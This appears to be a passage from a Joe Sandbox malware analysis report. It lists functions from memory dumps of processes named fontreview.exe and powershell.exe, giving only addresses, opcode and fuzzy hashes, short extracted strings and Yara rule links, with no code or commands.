Opcode ID: 832600f26a36fe490d33f4a7f458da721ea52c8f944faa0064f5ea43fe79bb07
Instruction ID: f3ea3990ccfbee65bc22e7b059fcfa94aa5270f5ec66f16b9dda4205a211b3e5
Opcode Fuzzy Hash: 832600f26a36fe490d33f4a7f458da721ea52c8f944faa0064f5ea43fe79bb07
Instruction Fuzzy Hash: 27F0AF7080E3898FEB5AAF34C9692A93F60EF06200F4548FED509C60E2DA29A444CB12

Function 00007FFB4B232095 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bcbb32b6188f081173444f4785c9c89dda93ef300f5f623fe9807a5fda1ed67
Instruction ID: 2c71abe352cc0dfd8d4f2f427fa019f2c62052565c2d139bd8b045bfc71b83ab
Opcode Fuzzy Hash: 1bcbb32b6188f081173444f4785c9c89dda93ef300f5f623fe9807a5fda1ed67
Instruction Fuzzy Hash: 4AF0E97284E38A8FEF55BF34C9192F9BF90FF51310F4064BED908820E2EA249558C340

Function 00007FFB4B22282D Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a6d2ce569845d7cd48ca69633c034963b429b8a567b72a5fcd0105bc8f5ff53
Instruction ID: 91d4df2426062faf7c02b4d828188de4274af6e5ed1b34721636fe940ca3b5fd
Opcode Fuzzy Hash: 1a6d2ce569845d7cd48ca69633c034963b429b8a567b72a5fcd0105bc8f5ff53
Instruction Fuzzy Hash: C3F06D7180E64A8BEB5DAF34C9592F93BA0FF15200F4149BED909C50A1DB3AE450C642

Function 00007FFB4B22AF5D Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41eef71f6195f397097ca715e922d42af902253fcd15bcf595bdab189dd8762b
Instruction ID: 283177c6a78ce165b82331e1960c113ea07dba59def44028bc10e456f2db0814
Opcode Fuzzy Hash: 41eef71f6195f397097ca715e922d42af902253fcd15bcf595bdab189dd8762b
Instruction Fuzzy Hash: DDF0ECB0909A199FEB94EF28C885BAA77B1FB59300F1082E5D00DD3165DE3459868F41

Function 00007FFB4B22A8A5 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0598ff896f08db2a77523bf96a0e0ffdd3153ca2c5895623091e48f933778f64
Instruction ID: deaa5ecf1f3258af13cfa23351c00548c74755ccf8e14190ea5083365661b0a1
Opcode Fuzzy Hash: 0598ff896f08db2a77523bf96a0e0ffdd3153ca2c5895623091e48f933778f64
Instruction Fuzzy Hash: A7F0377594E3824FE317AA34DDA10F53F74AF43314B0686F3C149C94B3EA1DA4564752

Function 00007FFB4B22E773 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72b18ffd806164e465eebb2cdcd1650471b822fc067f18d713284f02d8e0910c
Instruction ID: 17afe888528bbbe65553ed7312060911b73e6af13039793905cd040def691e50
Opcode Fuzzy Hash: 72b18ffd806164e465eebb2cdcd1650471b822fc067f18d713284f02d8e0910c
Instruction Fuzzy Hash: 63F01C709086198FDBA8EF14C8847A877B2FB54341F1081A9950DD22A0CF745AC4CF45

Function 00007FFB4B22A8B8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06046d227329c997924c0c24e19ed4d28ce4f6be021e9c4077cc314eea2c5129
Instruction ID: 66edd56494f33d9270f96bb85f96302cd412d5c7bdea30e66f70be8de4a17304
Opcode Fuzzy Hash: 06046d227329c997924c0c24e19ed4d28ce4f6be021e9c4077cc314eea2c5129
Instruction Fuzzy Hash: 23E08C76C0E1179AF626BE38E9A10FA37A8AF41328B048E72D54D854A3ED18A05B0552

Function 00007FFB4B228A65 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fde35bcb3827b8ade40156edc7ad8f682892dccae24832e8beddc41420855d81
Instruction ID: 3f9ea5857d36194ab2f5795fee90a7b28f1607706599396bb2d98c7afff24132
Opcode Fuzzy Hash: fde35bcb3827b8ade40156edc7ad8f682892dccae24832e8beddc41420855d81
Instruction Fuzzy Hash: 5EC0E9A5A1C4198AEB68FE24C9606B8B6A5BF18244F5045B4A20DD2166CA346A409B05

Non-executed Functions

Function 00007FFB4B22E417 Relevance: 6.4, Strings: 5, Instructions: 125COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFB4B22F2F7
?, xrefs: 00007FFB4B22E6E3
@, xrefs: 00007FFB4B22E41D
[, xrefs: 00007FFB4B22E462
A, xrefs: 00007FFB4B22E74C

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID: ?$@$A$M$[
API String ID: 0-2371582849
Opcode ID: f7a1889b61a71991de71ba82b98df04b7178453a5c1db98af6be3f566eee78c3
Instruction ID: 556102e2d867491891518d474b710085c5b53b55a75e046fbb58e6ec7e189fbe
Opcode Fuzzy Hash: f7a1889b61a71991de71ba82b98df04b7178453a5c1db98af6be3f566eee78c3
Instruction Fuzzy Hash: 4F510AB0D086298FEBA8EF24D9947F9B7B1EF54301F5081AAD50DD2291CF385A85CF45

Function 00007FFB4B22F795 Relevance: 5.1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

Strings

^, xrefs: 00007FFB4B22F7EF
N, xrefs: 00007FFB4B22EA4C
,, xrefs: 00007FFB4B22F79F
0, xrefs: 00007FFB4B22F648

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID: ,$0$N$^
API String ID: 0-2147645126
Opcode ID: ac769a1fcac604396ca968edfeefbf75ec688d08dbcd6220156a5763bd14ea9c
Instruction ID: 5c040d734491146dbed93001b3437bb3679deb0e3a650b919209b065a08fb0e3
Opcode Fuzzy Hash: ac769a1fcac604396ca968edfeefbf75ec688d08dbcd6220156a5763bd14ea9c
Instruction Fuzzy Hash: B741D5709096298FEBA8EF18C9947E9B7B1FF59301F1081E9940DE72A0CA746EC0CF41

Analysis Process: powershell.exePID: 7404, Parent PID: 7888COMMON

Executed Functions

Function 00007FFB4B316605 Relevance: 6.7, Strings: 5, Instructions: 431COMMON

Download Yara Rule

Strings

(BVK, xrefs: 00007FFB4B31678C
(BVK, xrefs: 00007FFB4B316858
(BVK, xrefs: 00007FFB4B3167C3
(BVK, xrefs: 00007FFB4B316974
(BVK, xrefs: 00007FFB4B3166ED

Memory Dump Source

Source File: 0000001D.00000002.2174740381.00007FFB4B310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb4b310000_powershell.jbxd

Similarity

API ID:
String ID: (BVK$(BVK$(BVK$(BVK$(BVK
API String ID: 0-2551793631
Opcode ID: 979d9ebd80535c974cfeb23acc1051f00d020777fc851db9dcbf04003615d43f
Instruction ID: 61cc85d68bcd0071183cc041062abf613bea0de79284490c5cfd82547c7a63df
Opcode Fuzzy Hash: 979d9ebd80535c974cfeb23acc1051f00d020777fc851db9dcbf04003615d43f
Instruction Fuzzy Hash: 0BD148B290EA894FE795AFB898595B57FE4EF46310B0801FFD54DC70A3DA18AC05C351

Function 00007FFB4B314073 Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

8>VK, xrefs: 00007FFB4B31413A

Memory Dump Source

Source File: 0000001D.00000002.2174740381.00007FFB4B310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb4b310000_powershell.jbxd

Similarity

API ID:
String ID: 8>VK
API String ID: 0-935437570
Opcode ID: 494409ab3dc8f26ecd5545d44753f83fcb7daa189d770c57a3e40aff551865b1
Instruction ID: deb150dc11133788a72aabbac763282bda7d95f225a27957c5216f4ca27352a1
Opcode Fuzzy Hash: 494409ab3dc8f26ecd5545d44753f83fcb7daa189d770c57a3e40aff551865b1
Instruction Fuzzy Hash: DC517B73A0DE464FE799EE3DD41267577D6EF94220B5840BAC24EC72A3DD24EC068781

Function 00007FFB4B314370 Relevance: 1.4, Strings: 1, Instructions: 147COMMON

Download Yara Rule

Strings

p>VK, xrefs: 00007FFB4B3143ED

Memory Dump Source

Source File: 0000001D.00000002.2174740381.00007FFB4B310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb4b310000_powershell.jbxd

Similarity

API ID:
String ID: p>VK
API String ID: 0-1768019408
Opcode ID: f14bfd59314928515aa6356e98e02931cfd66bff0622f1317bb27645df5dcd79
Instruction ID: a6efdde7c9185fee7ea671b7692c4a097061a9e55efa196371ac2b7fed6faef2
Opcode Fuzzy Hash: f14bfd59314928515aa6356e98e02931cfd66bff0622f1317bb27645df5dcd79
Instruction Fuzzy Hash: 8D415AB2A0DA454FE7A9EE3CE8216B47BD5EF84320B4840FAD14DC31A3ED14EC158791

Function 00007FFB4B3140BF Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

8>VK, xrefs: 00007FFB4B31413A

Memory Dump Source

Source File: 0000001D.00000002.2174740381.00007FFB4B310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb4b310000_powershell.jbxd

Similarity

API ID:
String ID: 8>VK
API String ID: 0-935437570
Opcode ID: 938b7e6f84bc0bf6c3fae87753345415929fe736faa776e5aa486fd1f7adae3b
Instruction ID: abb0c0697fe1caf09a70de66210b3ebb0bf1dbd9ad6e8a93f3759427b253775f
Opcode Fuzzy Hash: 938b7e6f84bc0bf6c3fae87753345415929fe736faa776e5aa486fd1f7adae3b
Instruction Fuzzy Hash: 3C2128B3A0DA474FE399EF3ED55257067D9EF54210B4980BAD25DC72B2CD28DC058B41

Function 00007FFB4B3143BC Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

p>VK, xrefs: 00007FFB4B3143ED

Memory Dump Source

Source File: 0000001D.00000002.2174740381.00007FFB4B310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb4b310000_powershell.jbxd

Similarity

API ID:
String ID: p>VK
API String ID: 0-1768019408
Opcode ID: 569d1bf28dd7833eb904790591d09ccaede114386a12cefede548afe1e2929a7
Instruction ID: 964870eb1e613488391cc75f4418ec8cc1d542a60cbce26301e0df0d36cb1396
Opcode Fuzzy Hash: 569d1bf28dd7833eb904790591d09ccaede114386a12cefede548afe1e2929a7
Instruction Fuzzy Hash: 461102B2A0E5864FE7A9EF3DD4605B47BD8EF4432074840F6E15DC35A2DD18AC208B51

Function 00007FFB4B24BBD0 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2164055723.00007FFB4B240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb4b240000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73119dc54ee9f2c05118944b1d21e169e78054a28664a94ed22e0316a479e495
Instruction ID: 9fcbb0b8b2aa9101f3b84ae1d6712544cf04b30393e03294ffad179dbf13f653
Opcode Fuzzy Hash: 73119dc54ee9f2c05118944b1d21e169e78054a28664a94ed22e0316a479e495
Instruction Fuzzy Hash: 1421D57190CA4C8FDB59EF6C9C4A6E97BE0EB95321F04816BD049C7152DA749809CB91

Function 00007FFB4B249738 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2164055723.00007FFB4B240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb4b240000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5de290ea1dbd00c844ca49754210309bdfc6318b1d79c40fc936c537e6b8d16
Instruction ID: bbe49102a52e485bb64cfc2ec8d79af219f652a36d2cef3e83bf44525b9134ac
Opcode Fuzzy Hash: c5de290ea1dbd00c844ca49754210309bdfc6318b1d79c40fc936c537e6b8d16
Instruction Fuzzy Hash: 1C412CB190CF984FD748EF5C9C066A97FE1FBA5310F44426FD08883192DA25A815C7C2

Function 00007FFB4B12ED40 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2153402945.00007FFB4B12D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B12D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb4b12d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be962e65ca7e90d165d56ac185b8c1e4ced3a8e2cd5a8d4d7a2b951e58ac3a32
Instruction ID: 04e74fe235ee5d899495eb7bdd8ab2264a3fbbc7f54f4d1bb3aae315c621d45b
Opcode Fuzzy Hash: be962e65ca7e90d165d56ac185b8c1e4ced3a8e2cd5a8d4d7a2b951e58ac3a32
Instruction Fuzzy Hash: DF41027140DBC44FE75A9B38E8819523FF0EF53224B1905DFD488CB1A3D629A846CBA2

Function 00007FFB4B2433B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2164055723.00007FFB4B240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb4b240000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 3a006ef331d41d50149ed0b6a7726d1d9f0780e4ec6a4a42c46b60dc6a18d169
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 0801677111CB0C8FDB48EF0CE451AA6B7E0FB95364F10056DE58AC3661DA36E882CB46

Function 00007FFB4B249CF8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2164055723.00007FFB4B240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb4b240000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f21e487342913729b5ea4f5674dbcb387631ece59f3e3becc51264b9be3d312
Instruction ID: 38b398519ef167a546b7b51667edd3f39d4b49302409a0de1bede5638c9963c3
Opcode Fuzzy Hash: 7f21e487342913729b5ea4f5674dbcb387631ece59f3e3becc51264b9be3d312
Instruction Fuzzy Hash: E2F0243180C68D8FDB0AFF38881A4D97FE0EF26210B04429BE448C70B2DB649458CB82

Non-executed Functions

Function 00007FFB4B2484E3 Relevance: 6.4, Strings: 5, Instructions: 117COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FFB4B2485C2
M_^, xrefs: 00007FFB4B248502
M_^, xrefs: 00007FFB4B248562
M_^, xrefs: 00007FFB4B248522
M_^, xrefs: 00007FFB4B248572

Memory Dump Source

Source File: 0000001D.00000002.2164055723.00007FFB4B240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb4b240000_powershell.jbxd

Similarity

API ID:
String ID: M_^$M_^$M_^$M_^$M_^
API String ID: 0-2396788759
Opcode ID: de1c0449b0eb7a9e3ca7429e924dca0b4f1193e60977fa612e809769bd6fd169
Instruction ID: b997d725148c31e346b5c84c7ed913ac18ed336640f226634d18dcb7fb0b3ea3
Opcode Fuzzy Hash: de1c0449b0eb7a9e3ca7429e924dca0b4f1193e60977fa612e809769bd6fd169
Instruction Fuzzy Hash: 453173D3E2DAE64BE35B6B3899750A47FD0EF6321474F42F6C5C85F4E3BA4464068241

Analysis Process: fontreview.exePID: 2288, Parent PID: 660COMMON

Executed Functions

Function 00007FFB4B251718 Relevance: 1.5, Strings: 1, Instructions: 291COMMON

Download Yara Rule

Strings

2E.K, xrefs: 00007FFB4B251EF3

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID: 2E.K
API String ID: 0-3879612713
Opcode ID: d1c428bff36c47cc75b3c139e329e43dead48de3854a94fe4ca4580349c839be
Instruction ID: 843a5de09a95c79daaa1e00cd597117de9416aa3993c8ccb0eddbeed7f865944
Opcode Fuzzy Hash: d1c428bff36c47cc75b3c139e329e43dead48de3854a94fe4ca4580349c839be
Instruction Fuzzy Hash: 6791F371A0CA4A4FDB49EE2CC8559B97BE2FF98305B14417AE58DD3292CE34AC128780

Function 00007FFB4B26310B Relevance: .5, Instructions: 454COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ed84acebdacd26eb0380b6b0f71abb7c73dfa695fa9e581cd8c731fd7a3339f
Instruction ID: 90aa7b38b62af1650f313e2dbe90a4514a9f30303e7b5e85be7a2d5d44f1e005
Opcode Fuzzy Hash: 8ed84acebdacd26eb0380b6b0f71abb7c73dfa695fa9e581cd8c731fd7a3339f
Instruction Fuzzy Hash: 0D1181B190D68A8FE752FB7CC9592AABFF0FF16300F0545FBD488C70A2DA24A9458751

Function 00007FFB4B25D709 Relevance: .4, Instructions: 391COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b25a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6490a548920c859d3c5920b1f892d366c44169d668cd2efd5123cb6c161f49ba
Instruction ID: 2a73eed6b608a19b4a1083508598c7e58dbb09341fc99c4e6b9395c7b421d698
Opcode Fuzzy Hash: 6490a548920c859d3c5920b1f892d366c44169d668cd2efd5123cb6c161f49ba
Instruction Fuzzy Hash: C3E16EB1D1965A8FEB99EF68C455BB8BBF1FF58300F4441BAD04ED3292CA386845DB40

Function 00007FFB4B263945 Relevance: .3, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd74681ccf0b2dad3c9d5863bc991ed5a186d953cce1e9ebbb00b9e7cfd6fd8b
Instruction ID: fc14761a7c6eac82a4b4d2fca0f50cecce9de17fb1a99f0c35c8db2e856007a1
Opcode Fuzzy Hash: fd74681ccf0b2dad3c9d5863bc991ed5a186d953cce1e9ebbb00b9e7cfd6fd8b
Instruction Fuzzy Hash: AFC195B0D1861D8EEBA5EF6CC9957EDBAB1FB58300F1041AAD10DE32A1DA346985CF50

Function 00007FFB4B2636AF Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ad89461160e8e42b15ab29745764b2bf39f845e970bd1ab4afb0d500fa540f3
Instruction ID: 83dc975a81db33804de5221750c135ad48b4e2bfa66cf38115ad81d4a033d8e5
Opcode Fuzzy Hash: 2ad89461160e8e42b15ab29745764b2bf39f845e970bd1ab4afb0d500fa540f3
Instruction Fuzzy Hash: 098146A371D5669AD312BF7CF8650EF3B94DF81371B0484BBD689C9053DE24604BCAA1

Function 00007FFB4B2636D3 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2087e46fe2e4a4d25bdfc0255853d98db2bdc7bec6d81aa761ca2a861365394
Instruction ID: be9022f873f17297c59cf81cac839564512b38d8b6dec6012d1fa7330a1fe90f
Opcode Fuzzy Hash: b2087e46fe2e4a4d25bdfc0255853d98db2bdc7bec6d81aa761ca2a861365394
Instruction Fuzzy Hash: 267144A370D6669AD3167F7CF8650EF3B94DF81371B0484BBD289C9053DE24604BCAA1

Function 00007FFB4B2506C0 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f701a119e015d6e035c13cba510282c45e4505babc9de8f0cee2f80751895ae
Instruction ID: c3934c488a4a0ee324fd5abcea6e2e62c5e0e518d9ecfe9658c202987e5fb3fd
Opcode Fuzzy Hash: 4f701a119e015d6e035c13cba510282c45e4505babc9de8f0cee2f80751895ae
Instruction Fuzzy Hash: 496119C390EACA4FF3557E7CAD198BA7FD1EF5235070982F7D188860E7DC1899068691

Function 00007FFB4B251D6D Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5f66a0d241f69ce6ce7d661c12e17ff07e0cdec36a81c5df8a962eb4074c548
Instruction ID: 981cfcbb042f8d0fad6e4a358bf66e57b2553312e6b7da4edf96bc140b9d3fb2
Opcode Fuzzy Hash: b5f66a0d241f69ce6ce7d661c12e17ff07e0cdec36a81c5df8a962eb4074c548
Instruction Fuzzy Hash: 7551D371A1CB494FDB49EE28C8549BA7BD2FFD8315B14817ED54AD7291CE34EC128780

Function 00007FFB4B2531B5 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3af49270e1f70f7e755a654b261079a2fcb682c290eaa43724cb01ab67a91c2f
Instruction ID: 6b44e9f1cafbbf58dd48a5db58a0eec2cbff8b8f6f902e83c5550771267b5e34
Opcode Fuzzy Hash: 3af49270e1f70f7e755a654b261079a2fcb682c290eaa43724cb01ab67a91c2f
Instruction Fuzzy Hash: D15107B0D0851D8FEB54FFA4C594AEEBBB1EF58300F50907AD50AE72A1DA386944CB50

Function 00007FFB4B2637D3 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f97deeeb7643a030f42b538c6bae18278ee4f022fe44de304231bb368de29eb
Instruction ID: b52fff921bc87e34eeb43d5920016caf0cc79d1f8aecf48b523dfd1afa3ed2df
Opcode Fuzzy Hash: 2f97deeeb7643a030f42b538c6bae18278ee4f022fe44de304231bb368de29eb
Instruction Fuzzy Hash: 7341349770D6A65AE3157A7CF8650EF7F94EFC13B2B04447FD648C9062DA20504ECBA1

Function 00007FFB4B252185 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e9c494a221e458923fe0e4923382fb34591ee2638ca9e325825f76a9116ff69
Instruction ID: 328acbab9a8581f8a649a2d221fc35b1d4f459e88f6c0b07507625faf8213fea
Opcode Fuzzy Hash: 7e9c494a221e458923fe0e4923382fb34591ee2638ca9e325825f76a9116ff69
Instruction Fuzzy Hash: 65412571A0DA4A4FEB56FF38C8455BA7FE0EF86300B0581FAD448C71E2DE28A8418351

Function 00007FFB4B25374E Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a10fa0668438bb03e4c541a342f8686ee6e1383379104a61b99299b18330934
Instruction ID: 13a9c6b2e29a78e5fc126161e90e34cf1d9666c5b7c0f7b5bc6de9a896add1f0
Opcode Fuzzy Hash: 3a10fa0668438bb03e4c541a342f8686ee6e1383379104a61b99299b18330934
Instruction Fuzzy Hash: 7D41E5B191C90E8FE748EF6CD8153A97FE1EB86350FA04179C049D76C6CBB814458741

Function 00007FFB4B26249D Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81c015a23a41f6d131c12a53e5322190b5fcc17bd75b2fb1b6e5f43e68a9a534
Instruction ID: c65ce53b0fdea687f947f4a03f72bbfb885ae67fe51542f4186f5e275ef68758
Opcode Fuzzy Hash: 81c015a23a41f6d131c12a53e5322190b5fcc17bd75b2fb1b6e5f43e68a9a534
Instruction Fuzzy Hash: 04412A70D1861E8FEB54FFA8D855AEEBBB1FF58300F104179E409E7296CE3468458B91

Function 00007FFB4B25BF78 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

